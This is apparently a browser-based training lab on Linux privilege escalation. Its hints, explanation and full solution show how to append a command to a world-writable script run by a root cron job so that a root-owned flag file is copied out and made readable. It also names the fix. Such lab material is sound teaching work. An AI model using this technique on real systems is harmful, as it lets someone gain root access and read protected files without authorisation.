Root through a writable cron job
A root cron job runs /opt/backup/backup.sh every minute, and that script is world-writable.
Append a command that copies the flag /root/root.txt to somewhere you can read, wait for the job to run as root, then read your copy.
How it works: the terminal below is a real Linux machine running in your browser. Click it and
type. Tasks tick themselves off as you complete them; questions are answered in the box under each task.
Press Reset any time for a fresh machine. Your password on this machine (for
sudo) is student.
Hints
`cat /etc/cron.d/backup` shows a root job; `ls -l /opt/backup/backup.sh` shows you can write it.
Append a `cp /root/root.txt ...` line, wait ~75s for cron, then read your copy.
Solution explanation
The cron line in /etc/cron.d/backup ran /opt/backup/backup.sh as root every minute, and the script was world-writable — so the command you appended ran as root too. A minute later root had copied /root/root.txt into your home and set it readable, handing you the flag. The fix is equally simple: a script run by root must be writable only by root. Attackers routinely scan every scheduled job for exactly this slip.
Show solution
cd /home/student
cat /etc/cron.d/backup
cat /opt/backup/backup.sh
echo 'cp /root/root.txt /home/student/loot.txt; chmod 644 /home/student/loot.txt' >> /opt/backup/backup.sh
sleep 75
cat /home/student/loot.txt